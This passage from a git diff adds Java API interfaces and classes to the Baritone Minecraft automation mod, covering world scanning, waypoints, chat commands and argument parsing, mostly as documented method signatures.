baritone.api.utils.BlockOptionalMetaLookup; +import baritone.api.utils.IPlayerContext; +import net.minecraft.block.Block; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.ChunkPos; + +import java.util.List; + +/** + * @author Brady + * @since 10/6/2018 + */ +public interface IWorldScanner { + + /** + * Scans the world, up to the specified max chunk radius, for the specified blocks. + * + * @param ctx The {@link IPlayerContext} containing player and world info that the scan is based upon + * @param filter The blocks to scan for + * @param max The maximum number of blocks to scan before cutoff + * @param yLevelThreshold If a block is found within this Y level, the current result will be returned, if the value + * is negative, then this condition doesn't apply. + * @param maxSearchRadius The maximum chunk search radius + * @return The matching block positions + */ + List scanChunkRadius(IPlayerContext ctx, BlockOptionalMetaLookup filter, int max, int yLevelThreshold, int maxSearchRadius); + + default List scanChunkRadius(IPlayerContext ctx, List filter, int max, int yLevelThreshold, int maxSearchRadius) { + return scanChunkRadius(ctx, new BlockOptionalMetaLookup(filter.toArray(new Block[0])), max, yLevelThreshold, maxSearchRadius); + } + + /** + * Scans a single chunk for the specified blocks. + * + * @param ctx The {@link IPlayerContext} containing player and world info that the scan is based upon + * @param filter The blocks to scan for + * @param pos The position of the target chunk + * @param max The maximum number of blocks to scan before cutoff + * @param yLevelThreshold If a block is found within this Y level, the current result will be returned, if the value + * is negative, then this condition doesn't apply. + * @return The matching block positions + */ + List scanChunk(IPlayerContext ctx, BlockOptionalMetaLookup filter, ChunkPos pos, int max, int yLevelThreshold); + + /** + * Scans a single chunk for the specified blocks. + * + * @param ctx The {@link IPlayerContext} containing player and world info that the scan is based upon + * @param blocks The blocks to scan for + * @param pos The position of the target chunk + * @param max The maximum number of blocks to scan before cutoff + * @param yLevelThreshold If a block is found within this Y level, the current result will be returned, if the value + * is negative, then this condition doesn't apply. + * @return The matching block positions + */ + default List scanChunk(IPlayerContext ctx, List blocks, ChunkPos pos, int max, int yLevelThreshold) { + return scanChunk(ctx, new BlockOptionalMetaLookup(blocks), pos, max, yLevelThreshold); + } + + /** + * Overload of {@link #repack(IPlayerContext, int)} where the value of the {@code range} parameter is {@code 40}. + * + * @param ctx The player, describing the origin + * @return The amount of chunks successfully queued for repacking + */ + int repack(IPlayerContext ctx); + + /** + * Queues the chunks in a square formation around the specified player, using the specified + * range, which represents 1/2 the square's dimensions, where the player is in the center. + * + * @param ctx The player, describing the origin + * @param range The range to repack + * @return The amount of chunks successfully queued for repacking + */ + int repack(IPlayerContext ctx, int range); +} diff --git a/src/baritone/api/cache/Waypoint.java b/src/baritone/api/cache/Waypoint.java new file mode 100644 index 00000000..9c4fbfbf --- /dev/null +++ b/src/baritone/api/cache/Waypoint.java @@ -0,0 +1,102 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.cache; + +import baritone.api.utils.BetterBlockPos; + +import java.util.Date; + +/** + * Basic implementation of {@link IWaypoint} + * + * @author leijurv + */ +public class Waypoint implements IWaypoint { + + private final String name; + private final Tag tag; + private final long creationTimestamp; + private final BetterBlockPos location; + + public Waypoint(String name, Tag tag, BetterBlockPos location) { + this(name, tag, location, System.currentTimeMillis()); + } + + /** + * Constructor called when a Waypoint is read from disk, adds the creationTimestamp + * as a parameter so that it is reserved after a waypoint is wrote to the disk. + * + * @param name The waypoint name + * @param tag The waypoint tag + * @param location The waypoint location + * @param creationTimestamp When the waypoint was created + */ + public Waypoint(String name, Tag tag, BetterBlockPos location, long creationTimestamp) { + this.name = name; + this.tag = tag; + this.location = location; + this.creationTimestamp = creationTimestamp; + } + + @Override + public int hashCode() { + return name.hashCode() ^ tag.hashCode() ^ location.hashCode() ^ Long.hashCode(creationTimestamp); + } + + @Override + public String getName() { + return this.name; + } + + @Override + public Tag getTag() { + return this.tag; + } + + @Override + public long getCreationTimestamp() { + return this.creationTimestamp; + } + + @Override + public BetterBlockPos getLocation() { + return this.location; + } + + @Override + public String toString() { + return String.format( + "%s %s %s", + name, + BetterBlockPos.from(location).toString(), + new Date(creationTimestamp).toString() + ); + } + + @Override + public boolean equals(Object o) { + if (o == null) { + return false; + } + if (!(o instanceof IWaypoint)) { + return false; + } + IWaypoint w = (IWaypoint) o; + return name.equals(w.getName()) && tag == w.getTag() && location.equals(w.getLocation()); + } +} diff --git a/src/baritone/api/command/Command.java b/src/baritone/api/command/Command.java new file mode 100644 index 00000000..c81a3365 --- /dev/null +++ b/src/baritone/api/command/Command.java @@ -0,0 +1,67 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command; + +import baritone.api.IBaritone; +import baritone.api.utils.IPlayerContext; + +import java.util.Collections; +import java.util.List; +import java.util.Locale; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +/** + * A default implementation of {@link ICommand} which provides easy access to the + * command's bound {@link IBaritone} instance, {@link IPlayerContext} and an easy + * way to provide multiple valid command execution names through the default constructor. + *

+ * So basically, you should use it because it provides a small amount of boilerplate, + * but you're not forced to use it. + * + * @author LoganDark + * @see ICommand + */ +public abstract class Command implements ICommand { + + protected IBaritone baritone; + protected IPlayerContext ctx; + + /** + * The names of this command. This is what you put after the command prefix. + */ + protected final List names; + + /** + * Creates a new Baritone control command. + * + * @param names The names of this command. This is what you put after the command prefix. + */ + protected Command(IBaritone baritone, String... names) { + this.names = Collections.unmodifiableList(Stream.of(names) + .map(s -> s.toLowerCase(Locale.US)) + .collect(Collectors.toList())); + this.baritone = baritone; + this.ctx = baritone.getPlayerContext(); + } + + @Override + public final List getNames() { + return this.names; + } +} diff --git a/src/baritone/api/command/IBaritoneChatControl.java b/src/baritone/api/command/IBaritoneChatControl.java new file mode 100644 index 00000000..5009f3f0 --- /dev/null +++ b/src/baritone/api/command/IBaritoneChatControl.java @@ -0,0 +1,42 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command; + +import baritone.api.Settings; + +import java.util.UUID; + +/** + * @author Brady + * @since 9/26/2019 + */ +public interface IBaritoneChatControl { + + /** + * In certain cases chat components need to execute commands for you. For example, the paginator automatically runs + * commands when you click the forward and back arrows to show you the previous/next page. + *

+ * If the prefix is changed in the meantime, then the command will go to chat. That's no good. So here's a permanent + * prefix that forces a command to run, regardless of the current prefix, chat/prefix control being enabled, etc. + *

+ * If used right (by both developers and users), it should be impossible to expose a command accidentally to the + * server. As a rule of thumb, if you have a clickable chat component, always use this prefix. If you're suggesting + * a command (a component that puts text into your text box, or something else), use {@link Settings#prefix}. + */ + String FORCE_COMMAND_PREFIX = String.format("<<%s>>", UUID.randomUUID().toString()); +} diff --git a/src/baritone/api/command/ICommand.java b/src/baritone/api/command/ICommand.java new file mode 100644 index 00000000..792de7c7 --- /dev/null +++ b/src/baritone/api/command/ICommand.java @@ -0,0 +1,67 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command; + +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.utils.Helper; + +import java.util.List; +import java.util.stream.Stream; + +/** + * The base for a command. + * + * @author Brady + * @since 10/7/2019 + */ +public interface ICommand extends Helper { + + /** + * Called when this command is executed. + */ + void execute(String label, IArgConsumer args) throws CommandException; + + /** + * Called when the command needs to tab complete. Return a Stream representing the entries to put in the completions + * list. + */ + Stream tabComplete(String label, IArgConsumer args) throws CommandException; + + /** + * @return A single-line string containing a short description of this command's purpose. + */ + String getShortDesc(); + + /** + * @return A list of lines that will be printed by the help command when the user wishes to view them. + */ + List getLongDesc(); + + /** + * @return A list of the names that can be accepted to have arguments passed to this command + */ + List getNames(); + + /** + * @return {@code true} if this command should be hidden from the help menu + */ + default boolean hiddenFromHelp() { + return false; + } +} diff --git a/src/baritone/api/command/ICommandSystem.java b/src/baritone/api/command/ICommandSystem.java new file mode 100644 index 00000000..98e8ed9c --- /dev/null +++ b/src/baritone/api/command/ICommandSystem.java @@ -0,0 +1,29 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command; + +import baritone.api.command.argparser.IArgParserManager; + +/** + * @author Brady + * @since 10/4/2019 + */ +public interface ICommandSystem { + + IArgParserManager getParserManager(); +} diff --git a/src/baritone/api/command/argparser/IArgParser.java b/src/baritone/api/command/argparser/IArgParser.java new file mode 100644 index 00000000..868ad696 --- /dev/null +++ b/src/baritone/api/command/argparser/IArgParser.java @@ -0,0 +1,60 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.argparser; + +import baritone.api.command.argument.ICommandArgument; + +public interface IArgParser { + + /** + * @return the class of this parser. + */ + Class getTarget(); + + /** + * A stateless argument parser is just that. It takes a {@link ICommandArgument} and outputs its type. + */ + interface Stateless extends IArgParser { + + /** + * @param arg The argument to parse. + * @return What it was parsed into. + * @throws RuntimeException if you want the parsing to fail. The exception will be caught and turned into an + * appropriate error. + */ + T parseArg(ICommandArgument arg) throws Exception; + } + + /** + * A stated argument parser is similar to a stateless one. It also takes a {@link ICommandArgument}, but it also + * takes a second argument that can be any type, referred to as the state. + */ + interface Stated extends IArgParser { + + Class getStateType(); + + /** + * @param arg The argument to parse. + * @param state Can be anything. + * @return What it was parsed into. + * @throws RuntimeException if you want the parsing to fail. The exception will be caught and turned into an + * appropriate error. + */ + T parseArg(ICommandArgument arg, S state) throws Exception; + } +} diff --git a/src/baritone/api/command/argparser/IArgParserManager.java b/src/baritone/api/command/argparser/IArgParserManager.java new file mode 100644 index 00000000..d5c36adb --- /dev/null +++ b/src/baritone/api/command/argparser/IArgParserManager.java @@ -0,0 +1,69 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.argparser; + +import baritone.api.command.argument.ICommandArgument; +import baritone.api.command.exception.CommandInvalidTypeException; +import baritone.api.command.registry.Registry; + +/** + * Used to retrieve {@link IArgParser} instances from the registry, by their target class. + * It can be assumed that a {@link IArgParser} exists for {@link Integer}, {@link Long}, + * {@link Float}, {@link Double} and {@link Boolean}. + * + * @author Brady + * @since 10/4/2019 + */ +public interface IArgParserManager { + + /** + * @param type The type trying to be parsed + * @return A parser that can parse arguments into this class, if found. + */ + IArgParser.Stateless getParserStateless(Class type); + + /** + * @param type The type trying to be parsed + * @return A parser that can parse arguments into this class, if found. + */ + IArgParser.Stated getParserStated(Class type, Class stateKlass); + + /** + * Attempt to parse the specified argument with a stateless {@link IArgParser} that outputs the specified class. + * + * @param type The type to try and parse the argument into. + * @param arg The argument to parse. + * @return An instance of the specified class. + * @throws CommandInvalidTypeException If the parsing failed + */ + T parseStateless(Class type, ICommandArgument arg) throws CommandInvalidTypeException; + + /** + * Attempt to parse the specified argument with a stated {@link IArgParser} that outputs the specified class. + * + * @param type The type to try and parse the argument into. + * @param arg The argument to parse. + * @param state The state to pass to the {@link IArgParser.Stated}. + * @return An instance of the specified class. + * @throws CommandInvalidTypeException If the parsing failed + * @see IArgParser.Stated + */ + T parseStated(Class type, Class stateKlass, ICommandArgument arg, S state) throws CommandInvalidTypeException; + + Registry getRegistry(); +} diff --git a/src/baritone/api/command/argument/IArgConsumer.java b/src/baritone/api/command/argument/IArgConsumer.java new file mode 100644 index 00000000..4435b36e --- /dev/null +++ b/src/baritone/api/command/argument/IArgConsumer.java @@ -0,0 +1,594 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.argument; + +import baritone.api.command.ICommand; +import baritone.api.command.argparser.IArgParser; +import baritone.api.command.datatypes.IDatatype; +import baritone.api.command.datatypes.IDatatypeFor; +import baritone.api.command.datatypes.IDatatypePost; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidTypeException; +import baritone.api.command.exception.CommandNotEnoughArgumentsException; +import baritone.api.command.exception.CommandTooManyArgumentsException; +import baritone.api.utils.Helper; +import net.minecraft.util.Direction; + +import java.util.Deque; +import java.util.LinkedList; +import java.util.stream.Stream; + +/** + * The {@link IArgConsumer} is how {@link ICommand}s read the arguments passed to them. This class has many benefits: + * + *

    + *
  • Mutability. The whole concept of the {@link IArgConsumer}} is to let you gradually consume arguments in any way + * you'd like. You can change your consumption based on earlier arguments, for subcommands for example.
  • + *
  • You don't need to keep track of your consumption. The {@link IArgConsumer}} keeps track of the arguments you + * consume so that it can throw detailed exceptions whenever something is out of the ordinary. Additionally, if you + * need to retrieve an argument after you've already consumed it - look no further than {@link #consumed()}!
  • + *
  • Easy retrieval of many different types. If you need to retrieve an instance of an int or float for example, + * look no further than {@link #getAs(Class)}. If you need a more powerful way of retrieving data, try out the many + * {@code getDatatype...} methods.
  • + *
  • It's very easy to throw detailed exceptions. The {@link IArgConsumer}} has many different methods that can + * enforce the number of arguments, the type of arguments, and more, throwing different types of + * {@link CommandException}s if something seems off. You're recommended to do all validation and store all needed + * data in variables BEFORE logging any data to chat via {@link Helper#logDirect(String)}, so that the error + * handlers can do their job and log the error to chat.
  • + *
+ */ +public interface IArgConsumer { + + LinkedList getArgs(); + + Deque getConsumed(); + + /** + * @param num The number of arguments to check for + * @return {@code true} if there are at least {@code num} arguments left in this {@link IArgConsumer}} + * @see #hasAny() + * @see #hasAtMost(int) + * @see #hasExactly(int) + */ + boolean has(int num); + + /** + * @return {@code true} if there is at least 1 argument left in this {@link IArgConsumer}} + * @see #has(int) + * @see #hasAtMostOne() + * @see #hasExactlyOne() + */ + boolean hasAny(); + + /** + * @param num The number of arguments to check for + * @return {@code true} if there are at most {@code num} arguments left in this {@link IArgConsumer}} + * @see #has(int) + * @see #hasAtMost(int) + * @see #hasExactly(int) + */ + boolean hasAtMost(int num); + + /** + * @return {@code true} if there is at most 1 argument left in this {@link IArgConsumer}} + * @see #hasAny() + * @see #hasAtMostOne() + * @see #hasExactlyOne() + */ + boolean hasAtMostOne(); + + /** + * @param num The number of arguments to check for + * @return {@code true} if there are exactly {@code num} arguments left in this {@link IArgConsumer}} + * @see #has(int) + * @see #hasAtMost(int) + */ + boolean hasExactly(int num); + + /** + * @return {@code true} if there is exactly 1 argument left in this {@link IArgConsumer}} + * @see #hasAny() + * @see #hasAtMostOne() + */ + boolean hasExactlyOne(); + + /** + * @param index The index to peek + * @return The argument at index {@code index} in this {@link IArgConsumer}}, with 0 being the next one. This does not + * mutate the {@link IArgConsumer}} + * @throws CommandNotEnoughArgumentsException If there is less than {@code index + 1} arguments left + * @see #peek() + * @see #peekString(int) + * @see #peekAs(Class, int) + * @see #get() + */ + ICommandArgument peek(int index) throws CommandNotEnoughArgumentsException; + + /** + * @return The next argument in this {@link IArgConsumer}}. This does not mutate the {@link IArgConsumer}} + * @throws CommandNotEnoughArgumentsException If there is less than one argument left + * @see #peek(int) + * @see #peekString() + * @see #peekAs(Class) + * @see #get() + */ + ICommandArgument peek() throws CommandNotEnoughArgumentsException; + + /** + * @param index The index to peek + * @param type The type to check for + * @return If an ArgParser.Stateless for the specified {@code type} would succeed in parsing the next + * argument + * @throws CommandNotEnoughArgumentsException If there is less than {@code index + 1} arguments left + * @see #peek() + * @see #getAs(Class) + */ + boolean is(Class type, int index) throws CommandNotEnoughArgumentsException; + + /** + * @param type The type to check for + * @return If an ArgParser.Stateless for the specified {@code type} would succeed in parsing the next + * argument + * @throws CommandNotEnoughArgumentsException If there is less than one argument left + * @see #peek() + * @see #getAs(Class) + */ + boolean is(Class type) throws CommandNotEnoughArgumentsException; + + /** + * @param index The index to peek + * @return The value of the argument at index {@code index} in this {@link IArgConsumer}}, with 0 being the next one + * This does not mutate the {@link IArgConsumer}} + * @throws CommandNotEnoughArgumentsException If there is less than {@code index + 1} arguments left + * @see #peek() + * @see #peekString() + */ + String peekString(int index) throws CommandNotEnoughArgumentsException; + + /** + * @return The value of the next argument in this {@link IArgConsumer}}. This does not mutate the {@link IArgConsumer}} + * @throws CommandNotEnoughArgumentsException If there is less than one argument left + * @see #peekString(int) + * @see #getString() + */ + String peekString() throws CommandNotEnoughArgumentsException; + + /** + * @param index The index to peek + * @param enumClass The class to search + * @return From the specified enum class, an enum constant of that class. The enum constant's name will match the + * next argument's value + * @throws java.util.NoSuchElementException If the constant couldn't be found + * @see #peekEnumOrNull(Class) + * @see #getEnum(Class) + * @see ICommandArgument#getEnum(Class) + */ + > E peekEnum(Class enumClass, int index) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException; + + /** + * @param enumClass The class to search + * @return From the specified enum class, an enum constant of that class. The enum constant's name will match the + * next argument's value + * @throws CommandInvalidTypeException If the constant couldn't be found + * @see #peekEnumOrNull(Class) + * @see #getEnum(Class) + * @see ICommandArgument#getEnum(Class) + */ + > E peekEnum(Class enumClass) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException; + + /** + * @param index The index to peek + * @param enumClass The class to search + * @return From the specified enum class, an enum constant of that class. The enum constant's name will match the + * next argument's value. If no constant could be found, null + * @see #peekEnum(Class) + * @see #getEnumOrNull(Class) + * @see ICommandArgument#getEnum(Class) + */ + > E peekEnumOrNull(Class enumClass, int index) throws CommandNotEnoughArgumentsException; + + /** + * @param enumClass The class to search + * @return From the specified enum class, an enum constant of that class. The enum constant's name will match the + * next argument's value. If no constant could be found, null + * @see #peekEnum(Class) + * @see #getEnumOrNull(Class) + * @see ICommandArgument#getEnum(Class) + */ + > E peekEnumOrNull(Class enumClass) throws CommandNotEnoughArgumentsException; + + /** + * Tries to use a stateless {@link IArgParser} to parse the argument at the specified index into the specified + * class + *

+ * A critical difference between {@link IDatatype}s and {@link IArgParser}s is how many arguments they can take. + * While {@link IArgParser}s always operate on a single argument's value, {@link IDatatype}s get access to the entire + * {@link IArgConsumer}}. + * + * @param type The type to peek as + * @param index The index to peek + * @return An instance of the specified type + * @throws CommandInvalidTypeException If the parsing failed + * @see IArgParser + * @see #peekAs(Class) + * @see #peekAsOrDefault(Class, Object, int) + * @see #peekAsOrNull(Class, int) + */ + T peekAs(Class type, int index) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException; + + /** + * Tries to use a stateless {@link IArgParser} to parse the next argument into the specified class + *

+ * A critical difference between {@link IDatatype}s and {@link IArgParser}s is how many arguments they can take. + * While {@link IArgParser}s always operate on a single argument's value, {@link IDatatype}s get access to the entire + * {@link IArgConsumer}}. + * + * @param type The type to peek as + * @return An instance of the specified type + * @throws CommandInvalidTypeException If the parsing failed + * @see IArgParser + * @see #peekAs(Class, int) + * @see #peekAsOrDefault(Class, Object) + * @see #peekAsOrNull(Class) + */ + T peekAs(Class type) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException; + + /** + * Tries to use a stateless {@link IArgParser} to parse the argument at the specified index into the specified + * class + *

+ * A critical difference between {@link IDatatype}s and {@link IArgParser}s is how many arguments they can take. + * While {@link IArgParser}s always operate on a single argument's value, {@link IDatatype}s get access to the entire + * {@link IArgConsumer}}. + * + * @param type The type to peek as + * @param def The value to return if the argument can't be parsed + * @param index The index to peek + * @return An instance of the specified type, or {@code def} if it couldn't be parsed + * @see IArgParser + * @see #peekAsOrDefault(Class, Object) + * @see #peekAs(Class, int) + * @see #peekAsOrNull(Class, int) + */ + T peekAsOrDefault(Class type, T def, int index) throws CommandNotEnoughArgumentsException; + + /** + * Tries to use a stateless {@link IArgParser} to parse the next argument into the specified class + *

+ * A critical difference between {@link IDatatype}s and {@link IArgParser}s is how many arguments they can take. + * While {@link IArgParser}s always operate on a single argument's value, {@link IDatatype}s get access to the entire + * {@link IArgConsumer}}. + * + * @param type The type to peek as + * @param def The value to return if the argument can't be parsed + * @return An instance of the specified type, or {@code def} if it couldn't be parsed + * @see IArgParser + * @see #peekAsOrDefault(Class, Object, int) + * @see #peekAs(Class) + * @see #peekAsOrNull(Class) + */ + T peekAsOrDefault(Class type, T def) throws CommandNotEnoughArgumentsException; + + /** + * Tries to use a stateless {@link IArgParser} to parse the argument at the specified index into the specified + * class + *

+ * A critical difference between {@link IDatatype}s and {@link IArgParser}s is how many arguments they can take. + * While {@link IArgParser}s always operate on a single argument's value, {@link IDatatype}s get access to the entire + * {@link IArgConsumer}}. + * + * @param type The type to peek as + * @param index The index to peek + * @return An instance of the specified type, or {@code null} if it couldn't be parsed + * @see IArgParser + * @see #peekAsOrNull(Class) + * @see #peekAs(Class, int) + * @see #peekAsOrDefault(Class, Object, int) + */ + T peekAsOrNull(Class type, int index) throws CommandNotEnoughArgumentsException; + + /** + * Tries to use a stateless {@link IArgParser} to parse the next argument into the specified class + *

+ * A critical difference between {@link IDatatype}s and {@link IArgParser}s is how many arguments they can take. + * While {@link IArgParser}s always operate on a single argument's value, {@link IDatatype}s get access to the entire + * {@link IArgConsumer}}. + * + * @param type The type to peek as + * @return An instance of the specified type, or {@code null} if it couldn't be parsed + * @see IArgParser + * @see #peekAsOrNull(Class, int) + * @see #peekAs(Class) + * @see #peekAsOrDefault(Class, Object) + */ + T peekAsOrNull(Class type) throws CommandNotEnoughArgumentsException; + + T peekDatatype(IDatatypeFor datatype) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException; + + T peekDatatype(IDatatypePost datatype) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException; + + T peekDatatype(IDatatypePost datatype, O original) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException; + + T peekDatatypeOrNull(IDatatypeFor datatype); + + T peekDatatypeOrNull(IDatatypePost datatype); + + > T peekDatatypePost(D datatype, O original) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException; + + > T peekDatatypePostOrDefault(D datatype, O original, T def); + + > T peekDatatypePostOrNull(D datatype, O original); + + /** + * Attempts to get the specified {@link IDatatypeFor} from this ArgConsumer + *

+ * A critical difference between {@link IDatatype}s and {@link IArgParser}s is how many arguments they can take. + * While {@link IArgParser}s always operate on a single argument's value, {@link IDatatype}s get access to the entire + * {@link IArgConsumer}}. + *

+ * Since this is a peek operation, this ArgConsumer will not be mutated by any call to this method. + * + * @param datatype The datatype to get + * @return The datatype instance + * @see IDatatype + * @see IDatatypeFor + */ + > T peekDatatypeFor(Class datatype); + + /** + * Attempts to get the specified {@link IDatatypeFor} from this ArgConsumer + *

+ * A critical difference between {@link IDatatype}s and {@link IArgParser}s is how many arguments they can take. + * While {@link IArgParser}s always operate on a single argument's value, {@link IDatatype}s get access to the entire + * {@link IArgConsumer}}. + *

+ * Since this is a peek operation, this ArgConsumer will not be mutated by any call to this method. + * + * @param datatype The datatype to get + * @param def The default value + * @return The datatype instance, or {@code def} if it throws an exception + * @see IDatatype + * @see IDatatypeFor + */ + > T peekDatatypeForOrDefault(Class datatype, T def); + + /** + * Attempts to get the specified {@link IDatatypeFor} from this ArgConsumer + *

+ * A critical difference between {@link IDatatype}s and {@link IArgParser}s is how many arguments they can take. + * While {@link IArgParser}s always operate on a single argument's value, {@link IDatatype}s get access to the entire + * {@link IArgConsumer}}. + *

+ * Since this is a peek operation, this ArgConsumer will not be mutated by any call to this method. + * + * @param datatype The datatype to get + * @return The datatype instance, or {@code null} if it throws an exception + * @see IDatatype + * @see IDatatypeFor + */ + > T peekDatatypeForOrNull(Class datatype); + + /** + * Gets the next argument and returns it. This consumes the first argument so that subsequent calls will return + * later arguments + * + * @return The next argument + * @throws CommandNotEnoughArgumentsException If there's less than one argument left + */ + ICommandArgument get() throws CommandNotEnoughArgumentsException; + + /** + * Gets the value of the next argument and returns it. This consumes the first argument so that subsequent calls + * will return later arguments + * + * @return The value of the next argument + * @throws CommandNotEnoughArgumentsException If there's less than one argument left + */ + String getString() throws CommandNotEnoughArgumentsException; + + /** + * Gets an enum value from the enum class with the same name as the next argument's value + *

+ * For example if you getEnum as an {@link Direction}, and the next argument's value is "up", this will return + * {@link Direction#UP} + * + * @param enumClass The enum class to search + * @return An enum constant of that class with the same name as the next argument's value + * @throws CommandInvalidTypeException If the constant couldn't be found + * @see #peekEnum(Class) + * @see #getEnumOrNull(Class) + * @see ICommandArgument#getEnum(Class) + */ + > E getEnum(Class enumClass) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException; + + /** + * Gets an enum value from the enum class with the same name as the next argument's value + *

+ * For example if you getEnum as an {@link Direction}, and the next argument's value is "up", this will return + * {@link Direction#UP} + * + * @param enumClass The enum class to search + * @param def The default value + * @return An enum constant of that class with the same name as the next argument's value, or {@code def} if it + * couldn't be found + * @see #getEnum(Class) + * @see #getEnumOrNull(Class) + * @see #peekEnumOrNull(Class) + * @see ICommandArgument#getEnum(Class) + */ + > E getEnumOrDefault(Class enumClass, E def) throws CommandNotEnoughArgumentsException; + + /** + * Gets an enum value from the enum class with the same name as the next argument's value + *

+ * For example if you getEnum as an {@link Direction}, and the next argument's value is "up", this will return + * {@link Direction#UP} + * + * @param enumClass The enum class to search + * @return An enum constant of that class with the same name as the next argument's value, or {@code null} if it + * couldn't be found + * @see #getEnum(Class) + * @see #getEnumOrDefault(Class, Enum) + * @see #peekEnumOrNull(Class) + * @see ICommandArgument#getEnum(Class) + */ + > E getEnumOrNull(Class enumClass) throws CommandNotEnoughArgumentsException; + + /** + * Tries to use a stateless {@link IArgParser} to parse the next argument into the specified class + *

+ * A critical difference between {@link IDatatype}s and {@link IArgParser}s is how many arguments they can take. + * While {@link IArgParser}s always operate on a single argument's value, {@link IDatatype}s get access to the entire + * {@link IArgConsumer}}. + * + * @param type The type to peek as + * @return An instance of the specified type + * @throws CommandInvalidTypeException If the parsing failed + * @see IArgParser + * @see #get() + * @see #getAsOrDefault(Class, Object) + * @see #getAsOrNull(Class) + * @see #peekAs(Class) + * @see #peekAsOrDefault(Class, Object, int) + * @see #peekAsOrNull(Class, int) + */ + T getAs(Class type) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException; + + /** + * Tries to use a stateless {@link IArgParser} to parse the next argument into the specified class + *

+ * A critical difference between {@link IDatatype}s and {@link IArgParser}s is how many arguments they can take. + * While {@link IArgParser}s always operate on a single argument's value, {@link IDatatype}s get access to the entire + * {@link IArgConsumer}}. + * + * @param type The type to peek as + * @param def The default value + * @return An instance of the specified type, or {@code def} if it couldn't be parsed + * @see IArgParser + * @see #get() + * @see #getAs(Class) + * @see #getAsOrNull(Class) + * @see #peekAs(Class) + * @see #peekAsOrDefault(Class, Object, int) + * @see #peekAsOrNull(Class, int) + */ + T getAsOrDefault(Class type, T def) throws CommandNotEnoughArgumentsException; + + /** + * Tries to use a stateless {@link IArgParser} to parse the next argument into the specified class + *

